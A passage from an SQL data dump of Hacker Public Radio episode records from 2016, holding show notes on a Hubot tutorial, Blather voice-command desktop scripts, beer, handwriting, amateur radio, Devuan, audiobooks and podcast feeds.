(.*) doors/i, (res) -&gt;\r\n   doorType = res.match[1]\r\n   if doorType is &quot;pod bay&quot;\r\n     res.reply &quot;I&#39;m afraid I can&#39;t let you do that.&quot;\r\n   else\r\n     res.reply &quot;Opening #{doorType} doors&quot;</code></pre>\r\n<p>Restart Hubot by...</p>\r\n<p>Now we can use our new, useful Hubot script.</p>\r\n<pre><code>mybot&gt; mybot open the french doors\r\nmybot&gt; Shell: Opening french doors\r\nmybot&gt; mybot open the pod bay doors\r\nmybot&gt; Shell: I&#39;m afraid I can&#39;t let you do that.</code></pre>\r\n<h2 id=\"aliases\">Aliases</h2>\r\n<p>A rose by any other name... If you would like your Hubot to respond to another name, you can assign your Hubot aliases to respond to. I really like this feature and I assign the \'!\' as my Hubot alias. This allows me to invoke Hubot with a single character.</p>\r\n<pre><code>mybot&gt; ! open the pod bay doors\r\nmybot&gt; Shell: I&#39;m afraid I can&#39;t let you do that.</code></pre>\r\n<h2 id=\"adapters\">Adapters</h2>\r\n<p>Obviously the shell adapter is not very useful aside from allowing us to play with or develop Hubot scripts. Hubot comes with several adapters that allow it to integrate with existing chat systems. These include: * IRC * XMPP * Campfire * HipChat * Slack * IRC * IRC</p>\r\n<h2 id=\"conclusion\">Conclusion</h2>\r\n<p>I hope this gives you a sense of what Hubot can do and how you can utilize it. Personally, I use Hubot in a variety of ways ranging from silly entertainment to useful communication tool. Using the eight-ball script, I can see if I will have a good day.</p>\r\n<pre><code>mybot&gt; mybot eight-ball Will I have a good day?\r\nmybot&gt; Shell: Most certainly!\r\nmybot&gt; :-)</code></pre>\r\n<p>Using a modified version of of the sms script, I can send text messages to my family members who are not available online.</p>\r\n<pre><code>mybot&gt; mybot sms trinity   See you on the other side!\r\nmybot&gt; Shell: Sent sms to 3125550690\r\nmybot&gt; :-)</code></pre>\r\n',277,0,1,'CC-BY-SA','hubot chat bot',0,0,1),
(2058,'2016-06-22','My 14th Beer Podcast',415,'Talking about Troegs Brewery\'s Java Head Beer','<p>\r\nThis is my 14th Beer Podcast. I know. I know. I\'ve only put two (2) up online so far. But trust me, the other ten (10) are coming. This one\'s just out of sequence is all.\r\n</p>\r\n<p>\r\nOh, yeah. A little other morsel/tidbit for those of you inclined to brew your own. Go to <a href=\"https://www.brewdog.com/diydog\">https://www.brewdog.com/diydog</a> and download BrewDog\'s DIY Dog pdf of all of their brews/beers.\r\n</p>\r\n<p>\r\nYou ask, who\'s BrewDog? Well, they\'re two guys and a dog, who in 2005, began home brewing in a garage in North-Eastern Scotland. Two years and countless successes &amp; failures later, BrewDog came howling into the world. Eight years after that - and more than 200 different beers later - they\'ve released the recipe and story behind every single one of those brews.\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2058.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2058_small.jpg\" alt=\"Picture of Beer Bottle\" /></a>\r\n</p>\r\n<p>\r\nSo, if you\'ve ever wanted to try to brew your own, here\'s another reason to start.\r\n</p>\r\n',313,14,1,'CC-BY-SA','Beer Tasting',0,0,1),
(2063,'2016-06-29','My 3rd HPR Beer Podcast',147,'Introducing 2 beers that I feel you may like','<p>JustMe here again.</p>\r\n<p>This is my 3rd HPR Beer podcast report.</p>\r\n<p>We\'re going to introduce you to two (2) beers. The first is Rebel Rider IPA &amp; the second is Red Seal Carousel.</p>\r\n<p>As always, thanks for listening &amp; supporting HPR.</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2063_rebel_rider_ipa.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2063_rebel_rider_ipa_small.jpg\" alt=\"picture of rebel rider ipa beer\"/></a>\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2063_red-seal.png\" alt=\"picture of Red Seal beer\"/>\r\n</p>\r\n',313,14,1,'CC-BY-SA','beer tasting',0,0,1),
(2054,'2016-06-16','Blather Configuration Part 1: Desktop Management',1496,'Blather Configuration Part 1: Desktop Management','\r\n<h2>Blather Configuration Part 1: Desktop Management</h2>\r\n\r\n<p>In this episode I show how to start adding more commands, how to use the language updater script, and how to start doing some basic desktop navigation. I\'ll show you how to open and quit applications, and how to switch from one application to another using your voice. </p>\r\n\r\n<p>For information about installing blather for the first time, as well as the startup script that I use, please refer to <a href=\"https://hackerpublicradio.org/eps.php?id=2039\">episode 0 of this series</a>, which has examples and links for this stuff.</p>\r\n\r\n<p>To start using the language updater script, you need to move it or copy it from the blather source code directory into your path (e.g. ~/bin/). To add new commands you will have to edit the main command configuration file:</p>\r\n\r\n<pre>~/.config/blather/commands.conf</pre>\r\n\r\n<p>Commands are configured in a \"key: value\" pair, where the key is what you wish to say, and the value is the command that will be executed when you say it. We will start out with some very basic ones, but these can be as elaborate as your imagination and scripting skills will allow. You can execute built-in system commands, or you can write your own scripts that will be executed upon the voice command.</p>\r\n\r\n<p>Here\'s an example of a basic desktop application command set:</p>\r\n\r\n\r\n<pre>OPEN CHROMIUM: chromium &amp;\r\nGO TO CHROMIUM: wmctrl -a \"google chrome\"\r\nQUIT CHROMIUM: wmctrl -c \"google chrome\"\r\n</pre>\r\n\r\n<p>The first command launches Chromium, the second one will switch focus to Chromium when you are currently in another program, and the third one closes Chromium. This makes use of the command line tool <a href=\"https://linux.die.net/man/1/wmctrl\"><code>wmctrl</code></a>, which is a very handy window management tool. The <code>wmctrl -a</code> command chooses which window to put focus on (or close) based on the window title, which in the commands above is given in quotation marks. There are many options to how <code>wmctrl</code> can find windows and take actions, but for now we will just use this basic option.</p>\r\n\r\n<p>Once you have one command set of this kind working as you like, it\'s very easy to set up additional command sets for all of the desktop applications you use most often.</p>\r\n\r\n<p>Some applications are more difficult to handle than others. For example media players typically change the window title based on which track is playing. This makes it impossible to use the static window title option above, so I resort to a bit of scripting to help it find the right window to put focus on or close: </p>\r\n\r\n<pre>OPEN clementine: clementine &amp;\r\nGO TO clementine: rid=$(pgrep clementine -u $(whoami) |head -n 1) &amp;&amp; rwinname=$(wmctrl -lp |grep $rid |sed -e \"s/.*$rid * //\" | sed -e \"s/$(hostname) //\") &amp;&amp; wmctrl -a \"$rwinname\"\r\n</pre>\r\n\r\n<p>Opening the music player is easy. Switching to it is something else. To make this work I first find the process ID of the Clementine music player, and then I use the <code>wmctrl</code> list command to list all of the windows that are open and I grep for the process ID that I found in the first part. Then I extract the window name from that command\'s output and use the result inside quotation marks in the very last command to change Focus to that window. Whew!</p>\r\n\r\n<p>One last basic desktop navigation command for this episode. This is one that I use probably more than any other command. What it achieves is the alt + Tab Key stroke, which switches Focus to the previous window. Here\'s how I do it:</p>\r\n\r\n<pre>\r\nBACK FLIP: xdotool key alt+Tab\r\n</pre>\r\n\r\n<p>This makes use of the wonderful <code>xdotool</code> package to execute a virtual keystroke. Magic!</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2039\">Blather setup</a> (first episode in the series)</li>\r\n<li>CLI tools: <a href=\"https://manpages.ubuntu.com/manpages/trusty/man1/xdotool.1.html\">xdotool</a>, <a href=\"https://linux.die.net/man/1/wmctrl\">wmctrl</a></li>\r\n\r\n<li>snapshot of my <a href=\"https://paste.jonkulp.net/sicegamupi.tex\" target=\"_blank\">blather commands file</a></li>\r\n</ul>\r\n',238,79,0,'CC-BY-SA','Accessibility, speech recognition, linux, scripting',0,0,1),
(2057,'2016-06-21','dodddummy on oats',375,'How I \'cook\' steel cut oats','<p><a href=\"https://www.betteroats.com/brand/oat-revolution-steel-cut-oats/\" class=\"uri\">https://www.betteroats.com/brand/oat-revolution-steel-cut-oats/</a></p>\r\n',151,93,0,'CC-BY-SA','cooking,Steel-Cut Oats,Pinhead Oats,oats',0,0,1),
(2059,'2016-06-23','More Tech, Less Magic',992,'More Tech, Less Magic','<p>This was my first show for HPR! I wanted to offer up something unique–hopefully not too much so to enjoy.</p>\r\n<p>In this episode I talk a bit about the differences between how my son will grow up with gaming technology, and how I did. There’s a lot of nostalgia, a little humor, and also a bit of language.</p>\r\n<p>All in-show music was created by me.</p>',339,0,1,'CC-BY-SA','gaming, software development, hobbies',0,0,1),
(2061,'2016-06-27','Handwriting',440,'droops argues why people should use handwriting to gain super powers','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>Yesterday I listened to an episode of Freakonomics (<a href=\"https://freakonomics.com/podcast/who-needs-handwriting/\" class=\"uri\">https://freakonomics.com/podcast/who-needs-handwriting/</a>) on handwriting. As a child I disliked penmanship and was horrible at it (still am). Eventually my teachers just told me to print so that they could read my answers. This is also a tech show, which should have an audience that leans toward the fact that computers are awesome. But most of you fine listeners should be interested in what is the best solution to a problem. Especially if that solution is contrary to conventional thought.</p>\r\n<p>Many reasons were given for handwriting to be a thing of the past and I think most of them are a lot of bull.</p>\r\n<p>First some more qualifications for me. I am a college dropout that did eventually graduate. Until last week I was a teacher who worked with students who were not always the best. I have been without a cell phone for two years and I love fountain pens. This probably does not qualify me for much, as I am certainly not a doctor or a scientific researcher, but I do have some real world experience and have been experimenting on my students (all in a good way).</p>\r\n<p>So here are some of the cons:</p>\r\n<ul>\r\n<li>Handwriting is old fashioned – true</li>\r\n<li>Typing is faster – true. Cursive is on average 30 words per minute.</li>\r\n<li>Hands hurt after writing – true</li>\r\n<li>Lack of success as a child demotivated me, left me “school damaged” – true</li>\r\n</ul>\r\n<p>These are all excuses that I have made and are all excuses my students have made. As a computer science teacher, I require all of my students to keep a handwritten notebook in my classes and they can use it on all of their tests, quizzes, and assignments. What an old fashioned stick in the mud I must be (they must have a cooler way to say this).</p>\r\n<p>There is nothing wrong with using tech to help with anything, but if you do not understand concepts of why and how, all the tech in the world will not help you and many people try to use tech as a crutch.</p>\r\n<p>Typing is faster, most students get to the point they can type everything that is said in a lecture. This skips a crucial part of learning where you use your brain to analyze what is being said. Writing is slower but should force you to put content in your own words by thinking about it and being an active listener.</p>\r\n<p>The pain in your hand should go away with practice, good form, and proper tools. I like fountain pens as they glide over the paper and you do not have to hold them in a death grip. Form means to use your arm, not your wrist, to write. With practice this can be done.</p>\r\n<p>I was bad at handwriting as a child and my teacher was wrong to tell me to stop. Part of education is to teach about failure and difficulty. If people only do the easy things who will do the hard ones? A person interviewed on Freakanomics said their school put too much emphasis on handwriting so they moved their child to a different school as this was having too much of a negative effect on his feelings. Way to teach your child to run away from hard things. I hope no college professor ever hurts his feelings to requires too much from them. Life gets harder, education should be hard to prepare students for the work of life.</p>\r\n<p>So enough cons, how about some pro argument.</p>\r\n<p>Laptops are full of distractions, most adults I know cannot focus with their email and social media trying to grab their attention.</p>\r\n<p>In an independent study talked about on Freakanomics, two researchers found that handwriters and laptopers had no difference in learning faces, unless they were allowed to review their notes before the quiz, where handwriters gained an edge. Concepts on the other hand, handwriters always held and almost like they thought about the concepts more than the students who just typed everything that was said.</p>\r\n<p>Something not really covered was writing new content. I give my students fountain pens as rewards and this makes writing so much more special. They take more time to write things and think more about what they are trying to say. This is a win-win.</p>\r\n<p>Now everyone is different. Please try handwriting for a few weeks and see if it helps you retain more. If you are not a student, watch a lecture on the internet or read a book and see if you learn more.</p>\r\n<p>Finally handwriting is personal. I am willing to mail a postcard to almost anyone that sends me their address (droops @ gmail) so that they can get that personal feeling.</p>\r\n<p>So I made some arguments, handwriting makes you smarter, helps you develop grit, makes you feel special, and gives you super powers. Hopefully you will try it out.</p>\r\n<p>This has been droops and this is Hacker Public Radio… HPR.</p>\r\n<h3 id=\"fountain-pen-suggestions\">Fountain Pen Suggestions</h3>\r\n<ul>\r\n<li><p>Fountain Pens I give my Students: <a href=\"https://amzn.com/B0052HYKC0\" class=\"uri\">https://amzn.com/B0052HYKC0</a></p></li>\r\n<li><p>Fountain Pens I use the most: <a href=\"https://www.lamyusa.com/fountain_main_safari.php\" class=\"uri\">https://www.lamyusa.com/fountain_main_safari.php</a></p></li>\r\n<li><p>Reddit: <a href=\"https://www.reddit.com/r/fountainpens\" class=\"uri\">https://www.reddit.com/r/fountainpens</a></p></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://freakonomics.com/podcast/who-needs-handwriting/\" class=\"uri\">https://freakonomics.com/podcast/who-needs-handwriting/</a></li>\r\n<li><a href=\"https://amzn.com/B0052HYKC0\" class=\"uri\">https://amzn.com/B0052HYKC0</a></li>\r\n<li><a href=\"https://www.lamyusa.com/fountain_main_safari.php\" class=\"uri\">https://www.lamyusa.com/fountain_main_safari.php</a></li>\r\n<li><a href=\"https://www.reddit.com/r/fountainpens\" class=\"uri\">https://www.reddit.com/r/fountainpens</a></li>\r\n</ul>\r\n',1,112,0,'CC-BY-SA','handwriting, fountain pens, education, add, adhd',0,0,1),
(2062,'2016-06-28','Now The Chips Are Definitely Down',2446,'Show about an interesting documentary I recently came across and new piece of hardware','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>I’d like to start by apologising for the rather fast and excited speaking style of this show particularly towards the end, hope it doesn’t spoil the content too much, it was all done in rather a hurry.</p>\r\n<p>In this show I describe a thought provoking documentary I stumbled upon from 1977, the documentary is about the the silicon chip and explores the far reaching implications it will have on society.</p>\r\n<p>The title for the original documentary was “Now the chips are down”.</p>\r\n<p>I came up with the altered title “Now the chips are definitely down” to signify that not only have the changes already happened but that it’s also had a massive cost reduction impact as my newly purchased piece of equipment demonstrates.</p>\r\n<p>The new piece of equipment that I bought only became so affordable because of the great advances and massive reductions in cost over time. A similar piece of equipment cost me around £120 maybe ten years ago and due to inflation you can probably double the cost again. The price of my new piece of equipment was astonishingly cheap I thought though on reflection its cheap price may also be down to it being a more mass produced item than normal amateur radio equipment.</p>\r\n<p>Links to Horizon documentary</p>\r\n<ul>\r\n<li><p>BBC Iplayer Link<br />\r\n<a href=\"https://www.bbc.co.uk/iplayer/episode/p01z4rrj/horizon-19771978-now-the-chips-are-down\" class=\"uri\">https://www.bbc.co.uk/iplayer/episode/p01z4rrj/horizon-19771978-now-the-chips-are-down</a></p></li>\r\n<li><p>Youtube Link for those not living in the UK<br />\r\n<a href=\"https://www.youtube.com/watch?v=HW5Fvk8FNOQ\" class=\"uri\">https://www.youtube.com/watch?v=HW5Fvk8FNOQ</a></p></li>\r\n<li><p>Wikipedia article about the documentary<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Now_the_Chips_are_Down\" class=\"uri\">https://en.wikipedia.org/wiki/Now_the_Chips_are_Down</a></p></li>\r\n</ul>\r\n<p>Standard C510A /C510E links</p>\r\n<ul>\r\n<li>Basic information on my original 10 year old handset<br />\r\n<a href=\"https://www.rigpix.com/standard/c510.htm\" class=\"uri\">https://www.rigpix.com/standard/c510.htm</a></li>\r\n</ul>\r\n<p>Baofeng UV-5R links</p>\r\n<ul>\r\n<li><p>My new handset available from many places this link from Amazon<br />\r\n<a href=\"https://www.amazon.co.uk/BaoFeng-UV-5R-136-174-400-480-Dual-Band/dp/B007HH6RR4\" class=\"uri\">https://www.amazon.co.uk/BaoFeng-UV-5R-136-174-400-480-Dual-Band/dp/B007HH6RR4</a></p></li>\r\n<li><p>Offical Baofeng website<br />\r\n<a href=\"https://www.baofengradio.com/en/ProShowcn.asp?ID=141\" class=\"uri\">https://www.baofengradio.com/en/ProShowcn.asp?ID=141</a></p></li>\r\n<li><p>Top Level UV-5R User manual link<br />\r\n<a href=\"https://www.miklor.com/uv5r/UV5R-Manuals.html\" class=\"uri\">https://www.miklor.com/uv5r/UV5R-Manuals.html</a></p></li>\r\n<li><p>Manufacturers Baofeng UV-5R user manual<br />\r\n<a href=\"https://www.uv3r.com/images/UV-5R%20user%20manual.pdf\">https://www.uv3r.com/images/UV-5R%20user%20manual.pdf</a></p></li>\r\n<li><p>The (Chinese) Radio Documentation Project manual Written by Lennart Lidberg<br />\r\n<a href=\"https://www.miklor.com/uv5r/pdf/uv-5r_v1.0.pdf\" class=\"uri\">https://www.miklor.com/uv5r/pdf/uv-5r_v1.0.pdf</a></p></li>\r\n<li><p>Interface cable for Baofeng UV-5R from Amazon<br />\r\n<a href=\"https://www.amazon.co.uk/Programming-Cable-Baofeng-UV-5R-Radio/dp/B0083H56MY/ref=pd_sim_504_1?ie=UTF8&amp;dpID=51R6bwEBeNL&amp;dpSrc=sims&amp;preST=_AC_UL160_SR160%2C160_&amp;refRID=06ZV4EBXADZ72VF6PR6Y\">https://www.amazon.co.uk/Programming-Cable-Baofeng-UV-5R-Radio/dp/B0083H56MY/ref=pd_sim_504_1?ie=UTF8&amp;dpID=51R6bwEBeNL&amp;dpSrc=sims&amp;preST=<em>AC_UL160_SR160%2C160</em>&amp;refRID=06ZV4EBXADZ72VF6PR6Y</a></p></li>\r\n</ul>\r\n<p>Chirp links</p>\r\n<ul>\r\n<li><a href=\"https://chirp.danplanet.com/projects/chirp/wiki/Home\" class=\"uri\">https://chirp.danplanet.com/projects/chirp/wiki/Home</a></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.bbc.co.uk/iplayer/episode/p01z4rrj/horizon-19771978-now-the-chips-are-down\" class=\"uri\">https://www.bbc.co.uk/iplayer/episode/p01z4rrj/horizon-19771978-now-the-chips-are-down</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=HW5Fvk8FNOQ\" class=\"uri\">https://www.youtube.com/watch?v=HW5Fvk8FNOQ</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Now_the_Chips_are_Down\" class=\"uri\">https://en.wikipedia.org/wiki/Now_the_Chips_are_Down</a></li>\r\n<li><a href=\"https://www.rigpix.com/standard/c510.htm\" class=\"uri\">https://www.rigpix.com/standard/c510.htm</a></li>\r\n<li><a href=\"https://www.amazon.co.uk/BaoFeng-UV-5R-136-174-400-480-Dual-Band/dp/B007HH6RR4\" class=\"uri\">https://www.amazon.co.uk/BaoFeng-UV-5R-136-174-400-480-Dual-Band/dp/B007HH6RR4</a></li>\r\n<li><a href=\"https://www.baofengradio.com/en/ProShowcn.asp?ID=141\" class=\"uri\">https://www.baofengradio.com/en/ProShowcn.asp?ID=141</a></li>\r\n<li><a href=\"https://www.miklor.com/uv5r/UV5R-Manuals.html\" class=\"uri\">https://www.miklor.com/uv5r/UV5R-Manuals.html</a></li>\r\n<li><a href=\"https://www.uv3r.com/images/UV-5R%20user%20manual.pdf\">https://www.uv3r.com/images/UV-5R%20user%20manual.pdf</a></li>\r\n<li><a href=\"https://www.miklor.com/uv5r/pdf/uv-5r_v1.0.pdf\" class=\"uri\">https://www.miklor.com/uv5r/pdf/uv-5r_v1.0.pdf</a></li>\r\n<li><a href=\"https://www.amazon.co.uk/Programming-Cable-Baofeng-UV-5R-Radio/dp/B0083H56MY/ref=pd_sim_504_1?ie=UTF8&amp;dpID=51R6bwEBeNL&amp;dpSrc=sims&amp;preST=_AC_UL160_SR160%2C160_&amp;refRID=06ZV4EBXADZ72VF6PR6Y\">https://www.amazon.co.uk/Programming-Cable-Baofeng-UV-5R-Radio/dp/B0083H56MY/ref=pd_sim_504_1?ie=UTF8&amp;dpID=51R6bwEBeNL&amp;dpSrc=sims&amp;preST=<em>AC_UL160_SR160%2C160</em>&amp;refRID=06ZV4EBXADZ72VF6PR6Y</a></li>\r\n<li><a href=\"https://chirp.danplanet.com/projects/chirp/wiki/Home\" class=\"uri\">https://chirp.danplanet.com/projects/chirp/wiki/Home</a></li>\r\n</ul>\r\n',201,0,0,'CC-BY-SA','Hardware, Electronics, Amateur Radio, Open Source, Linux',0,0,1),
(2064,'2016-06-30','Test-Driving Devuan',1213,'Frank Bell takes Devuan Beta out for a spin.','<p>Frank Bell takes the Devuan Beta for a test drive and finds it accelerates smoothly, corners nicely, and rides comfortably.</p>\r\n<p>Links:</p>\r\n<ul>\r\n<li><p>Debian’s SystemD Announcement: <a href=\"https://wiki.debian.org/Debate/initsystem/systemd\">https://wiki.debian.org/Debate/initsystem/systemd</a></p></li>\r\n<li><p>The Devuan fork announcement: <a href=\"https://devuan.org/os/debian-fork/\">https://devuan.org/os/debian-fork/</a></p></li>\r\n<li><p>Announcement of the Beta: <a href=\"https://www.theregister.co.uk/2016/04/29/systemd_free_debian_fork_devuan_reaches_beta/\">https://www.theregister.co.uk/2016/04/29/systemd_free_debian_fork_devuan_reaches_beta/</a> Approx. one year behind schedule.</p></li>\r\n<li><p>Devuan website: <a href=\"https://devuan.org/\">https://devuan.org/</a></p></li>\r\n<li><p>Debian website: <a href=\"https://www.debian.org/\">https://www.debian.org/</a></p></li>\r\n<li><p>Some news stories about the Debian SystemD controversy:</p>\r\n<ul>\r\n<li><p>PCWorld: <a href=\"https://www.pcworld.com/article/2841873/meet-systemd-the-controversial-project-taking-over-a-linux-distro-near-you.html\" class=\"uri\">https://www.pcworld.com/article/2841873/meet-systemd-the-controversial-project-taking-over-a-linux-distro-near-you.html</a></p></li>\r\n<li><p>ZDNet: <a href=\"https://www.zdnet.com/article/linus-torvalds-and-others-on-linuxs-systemd/\">https://www.zdnet.com/article/linus-torvalds-and-others-on-linuxs-systemd/</a></p></li>\r\n<li><p>Technet: <a href=\"https://www.tecmint.com/systemd-replaces-init-in-linux/\">https://www.tecmint.com/systemd-replaces-init-in-linux/</a></p></li>\r\n<li><p>ADTMag’s Dev Watch blog: <a href=\"https://adtmag.com/blogs/dev-watch/2014/11/debian-problems.aspx\">https://adtmag.com/blogs/dev-watch/2014/11/debian-problems.aspx</a></p></li>\r\n<li><p>Linux Voice Interview with Leonart Poettering: <a href=\"https://www.linuxvoice.com/interview-lennart-poettering/\">https://www.linuxvoice.com/interview-lennart-poettering/</a></p></li>\r\n</ul></li>\r\n</ul>\r\n',195,0,0,'CC-BY-SA','Devuan, Debian, SystemD, SysV',0,0,1),
(2070,'2016-07-08','Adventures with Jonathan Slocum',694,'Join me on an audio video adventure with Captain Slocum and another Robert W Service ballad','<!-- Processed by make_markdown V0.0.4 -->\r\n<h2 id=\"a-3-layer-birthday-cake\">A 3 layer Birthday Cake</h2>\r\n<h2 id=\"with-frosting\">With Frosting</h2>\r\n<p>May I suggest that you partake of the layers in this order?</p>\r\n<ol type=\"1\">\r\n<li><p>Voyage of the Liberdade by Joshua Slocum<br />\r\nFind the book at Gutenberg Press<br />\r\n“Project Gutenberg offers over 50,000 free ebooks: choose among free epub books, free kindle books, download them or read them online.<br />\r\nWe carry high quality ebooks: Our ebooks were previously published by bona fide publishers. We digitized and diligently proofread them with the help of thousands of volunteers.<br />\r\nNo fee or registration is required, but if you find Project Gutenberg useful, we kindly ask you to donate a small amount so we can buy and digitize more books. Other ways to help include digitizing more books, recording audio books, or reporting errors.<br />\r\nOver 100,000 free ebooks are available through our Partners, Affiliates and Resources”.<br />\r\n<br />\r\nFind the book in all available forms (HTML, EPub, Text, Kindle) at: <a href=\"https://www.gutenberg.org/ebooks/18541\" class=\"uri\">https://www.gutenberg.org/ebooks/18541</a><br />\r\nThe text file is here: <a href=\"https://www.gutenberg.org/cache/epub/18541/pg18541.txt\" class=\"uri\">https://www.gutenberg.org/cache/epub/18541/pg18541.txt</a><br />\r\nFirst create an espeak of the text file:<br />\r\nVoyage of the Liberdade by Joshua Slocum<br />\r\n<a href=\"https://www.gutenberg.org/ebooks/18541\" class=\"uri\">https://www.gutenberg.org/ebooks/18541</a><br />\r\nTo create an espeak run this commmand against the text file:</p>\r\n<pre><code>espeak -f location_text -w output_file_here(.whatever_extension_you_want)</code></pre>\r\n<p>Or read the book old school</p></li>\r\n<li><p>Sailing Alone Around the World by Joshua Slocum (Audio Book read by Alan Chant)<br />\r\n<a href=\"https://librivox.org/sailing-alone-around-the-world-by-joshua-slocum/\" class=\"uri\">https://librivox.org/sailing-alone-around-the-world-by-joshua-slocum/</a></p></li>\r\n<li><p>A YouTube Movie that explains more about Captain Slocum.<br />\r\n<a href=\"https://www.youtube.com/watch?v=iciZer5cbJ8\" class=\"uri\">https://www.youtube.com/watch?v=iciZer5cbJ8</a></p></li>\r\n</ol>\r\n<p>The Cremation of Sam McGee Robert W. SERVICE (1874 - 1958) Read by Kristin Hughes <a href=\"https://ia600202.us.archive.org/28/items/cremationsammcgee_0711_librivox/sammcgee_service_klh.mp3\" class=\"uri\">https://ia600202.us.archive.org/28/items/cremationsammcgee_0711_librivox/sammcgee_service_klh.mp3</a></p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.gutenberg.org/ebooks/18541\" class=\"uri\">https://www.gutenberg.org/ebooks/18541</a></li>\r\n<li><a href=\"https://www.gutenberg.org/cache/epub/18541/pg18541.txt\" class=\"uri\">https://www.gutenberg.org/cache/epub/18541/pg18541.txt</a></li>\r\n<li><a href=\"https://librivox.org/sailing-alone-around-the-world-by-joshua-slocum/\" class=\"uri\">https://librivox.org/sailing-alone-around-the-world-by-joshua-slocum/</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=iciZer5cbJ8\" class=\"uri\">https://www.youtube.com/watch?v=iciZer5cbJ8</a></li>\r\n<li><a href=\"https://ia600202.us.archive.org/28/items/cremationsammcgee_0711_librivox/sammcgee_service_klh.mp3\" class=\"uri\">https://ia600202.us.archive.org/28/items/cremationsammcgee_0711_librivox/sammcgee_service_klh.mp3</a></li>\r\n</ul>\r\n',209,0,1,'CC-BY-SA','Joshua Slocum, Sailing Alone Around the World, Audio Books, Robert W Service, birthday Shows',0,0,1),
(2068,'2016-07-06','Podcasts I listen to and how I fetch them.',515,'As I drive to work, I rattle off a short list of podcasts that I listen to and how I fetch them.','<!-- Processed by make_markdown V0.0.4 -->\r\n<h3 id=\"subscriptions\">Subscriptions</h3>\r\n<p>Right out of my ~./podget/serverlist:</p>\r\n<ul>\r\n<li><a href=\"https://thelinuxlink.net/tllts/tllts.rss\" class=\"uri\">https://thelinuxlink.net/tllts/tllts.rss</a> TECH The Linux Link</li>\r\n<li><a href=\"https://duffercast.org/feed/podcast/\" class=\"uri\">https://duffercast.org/feed/podcast/</a> CULTURE The Duffercast</li>\r\n<li><a href=\"https://exworker.libsyn.com/rss/\" class=\"uri\">https://exworker.libsyn.com/rss/</a> SOCIETY The Ex-Worker</li>\r\n<li><a href=\"https://hackerpublicradio.org/hpr_ogg_rss.php\" class=\"uri\">https://hackerpublicradio.org/hpr_ogg_rss.php</a> TECH Hacker Public Radio</li>\r\n<li><a href=\"https://feeds.feedburner.com/thememorypalace/\" class=\"uri\">https://feeds.feedburner.com/thememorypalace/</a> STORIES The Memory Palace</li>\r\n<li><a href=\"https://feeds.themoth.org/themothpodcast/\" class=\"uri\">https://feeds.themoth.org/themothpodcast/</a> STORIES The Moth</li>\r\n<li><a href=\"https://www.ourbattletech.com/feed/\" class=\"uri\">https://www.ourbattletech.com/feed/</a> GAMES Our BattleTech</li>\r\n<li><a href=\"https://wfmu.org/podcast/FC.xml\" class=\"uri\">https://wfmu.org/podcast/FC.xml</a> CULTURE WMFU Radio Free Culture</li>\r\n<li><a href=\"https://hourofslack.libsyn.com/rss/\" class=\"uri\">https://hourofslack.libsyn.com/rss/</a> BOB Subgenius Hour of Slack</li>\r\n<li><a href=\"https://feed.thisamericanlife.org/talpodcast\" class=\"uri\">https://feed.thisamericanlife.org/talpodcast</a> NPR This American Life</li>\r\n<li><a href=\"https://kpfa.org/program/puzzling-evidence/feed/\" class=\"uri\">https://kpfa.org/program/puzzling-evidence/feed/</a> BOB Puzzling Evidence</li>\r\n<li><a href=\"https://2600.com/otw-broadband.xml\" class=\"uri\">https://2600.com/otw-broadband.xml</a> TWOSIXZEROZERO Off the Wall</li>\r\n<li><a href=\"https://2600.com/oth-broadband.xml\" class=\"uri\">https://2600.com/oth-broadband.xml</a> TWOSIXZEROZERO Off the Hook</li>\r\n<li><a href=\"https://radioopensource.org/feed/\" class=\"uri\">https://radioopensource.org/feed/</a> SOCIETY Open Source</li>\r\n<li><a href=\"https://feed.loveandradio.org/loveplusradio\" class=\"uri\">https://feed.loveandradio.org/loveplusradio</a> STORIES Love and Radio</li>\r\n<li><a href=\"https://feeds.podtrac.com/luI2ebVqX-WW\" class=\"uri\">https://feeds.podtrac.com/luI2ebVqX-WW</a> TECH OReilly Hardware Podcast</li>\r\n<li><a href=\"https://embedded.fm/?format=rss\" class=\"uri\">https://embedded.fm/?format=rss</a> TECH EmbeddedFM</li>\r\n</ul>\r\n<h3 id=\"tools\">Tools</h3>\r\n<ul>\r\n<li>podget - <a href=\"https://podget.sourceforge.net/\" class=\"uri\">https://podget.sourceforge.net/</a></li>\r\n<li>podracer - <a href=\"https://podracer.sourceforge.net/\" class=\"uri\">https://podracer.sourceforge.net/</a></li>\r\n<li>gPodder - <a href=\"https://gpodder.org\" class=\"uri\">https://gpodder.org</a></li>\r\n</ul>\r\n<h3 id=\"configuration\">Configuration</h3>\r\n<p>I can supply my podgetrc upon request. It’s pretty basic.</p>\r\n',241,75,0,'CC-BY-SA','podcasts,podget,podracer,gPodder,RockBox,Sansa Clip+',0,0,1),
